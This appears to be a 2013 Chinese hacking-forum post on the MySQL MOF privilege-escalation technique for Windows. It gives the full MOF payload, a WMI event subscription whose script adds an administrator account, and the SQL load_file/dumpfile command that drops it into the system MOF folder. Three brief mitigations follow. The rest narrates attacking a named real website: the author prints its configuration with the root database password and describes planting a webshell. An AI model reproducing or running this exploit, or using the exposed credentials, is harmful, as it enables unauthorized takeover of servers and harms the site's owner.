找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2236|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
/ J0 }3 ^7 M# L; V1 ^+ c8 N3 E; [7 V& t
网上公开的一些利用代码:6 f. D; u/ r, {
5 l0 k% u& D7 A
#pragma namespace(“\\\\.\\root\\subscription”)
6 d2 Q1 h7 P+ Y% C* Y& W0 k& [, q) N) Y/ D
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };' O; w) C+ I) M* Z

! T$ P+ s) C8 _3 h- T$ { 8 G0 f3 j7 _9 Q7 l

+ N0 v. {$ V. b9 R
6 i! B/ E+ F. m/ b# R% R2 {9 t# L: S. D+ b& J+ o
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
; c5 Z! L  D6 }* E) [4 r: Q. o从上面代码来看得出解决办法:+ b, k( T! _6 y4 M2 z
6 H  `) m2 |4 a7 P
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数  o- V3 B! l. j
( K/ V$ p$ _: N# ^# R8 C
2、禁止使用”WScript.Shel”组件
$ Q/ M5 \* B1 ~) s9 Y
1 m6 }3 S) s  ?8 U7 m3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
# J. \, L1 M2 B* T8 W* d
7 Q+ Y" h6 [1 F5 J% N# i$ q4 @4 ]当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下" T8 m0 S8 m1 h2 G7 R

6 T! f# {+ i' |+ ?7 J( h- ]事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
6 C; {' S. E1 [. o
& E# t& q4 k1 f但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
6 I* F/ ]* g& `6 U$ k( g8 s4 b. A8 `0 x' n0 p+ }8 j
看懂了后就开始练手吧
* V+ F2 a, H# \' U) x  V) g
! l5 P, ~, O% Q- s% {6 Z+ rhttp://www.webbmw.com/config/config_ucenter.php 一句话 a1 e4 S- m) o/ [2 M

, R  J1 t2 F" _! R5 W$ ~+ z# L$ S$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
: d. ~" J6 E* N3 r9 z; T! Q1 }4 v' T( P. U
于是直接用菜刀开搞: H# ]" j( k3 e6 z0 ~& [2 z) x

. }7 y8 s# m& U( F. ^! j0 v: u' T上马先; N( T7 h; L7 P4 @/ ?' Y) b& p1 U
. l+ P6 a; f3 Y" T
既然有了那些账号 之类的 于是我们就执行吧…….
+ i5 ?- g- C5 h& w: A* X5 M6 Z, D. Y$ [8 E6 ~. k" F# d
小小的说下$ V; a7 E* {* u( M6 M* m( u* y# ^6 O
* y( y+ r$ a" p3 H5 E
在这里第1次执行未成功        原因未知
4 L* Y( l+ `9 d( \3 Z7 u% g/ H1 ?
* Q! ^" }' C2 k" B我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
; s, I% q4 ]0 Z, W& c$ {( O2 s( P: O/ Z
#pragma namespace(“\\\\.\\root\\subscription”)0 L6 m0 h; t, ^4 m$ }" v

! J0 h# C. v+ R& Linstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
: o. I+ N8 r$ h+ n8 |1 j5 W* _& a7 g5 t# m" K
我是将文件放到C:\WINDOWS\temp\1.mof$ E2 E% [& S! R! Y
% h! z9 E! K& v' K% l9 x% L/ Y
所以我们就改下执行的代码) T8 A$ s% ]: l

% v" Z* @4 b. w5 ?4 ^# yselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;: \% f/ A* j/ z. ]
: P! W7 E7 v# @6 r+ r7 d, K, E

0 ]! s" X, I% Z+ P' K, B
5 a! K( v* S) O( ~1 G" Y) v但是 你会发现账号还是没有躺在那里。。, K' o8 r! X4 A( ]" @, N" O, d' H/ E
/ a; A% i; _% s& y
于是我就感觉蛋疼0 Z! i# W. T* n

* A3 L0 s+ v( F1 v$ N就去一个一个去执行 但是执行到第2个 mysql时就成功了………$ K1 W/ j$ O0 m$ z
1 B( ^6 n, d! L. n/ j% g0 T- U
4 q! _, R* }1 Y1 B# f( A
5 R; X9 ]$ N: k/ |: {
但是其他库均不成功…
$ o. z1 `5 F* s7 h8 @4 U/ G
! o5 R; |" U! R+ ?9 C/ V6 O' C7 G我就很费解呀 到底为什么不成功求大牛解答…
! H  j$ T% ^+ T5 _% s3 M
; F/ I0 l+ H0 _# T" ?/ h& }' L/ X% O* f* O! h5 z2 Z
% \4 O8 h. _. k8 y1 N$ S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表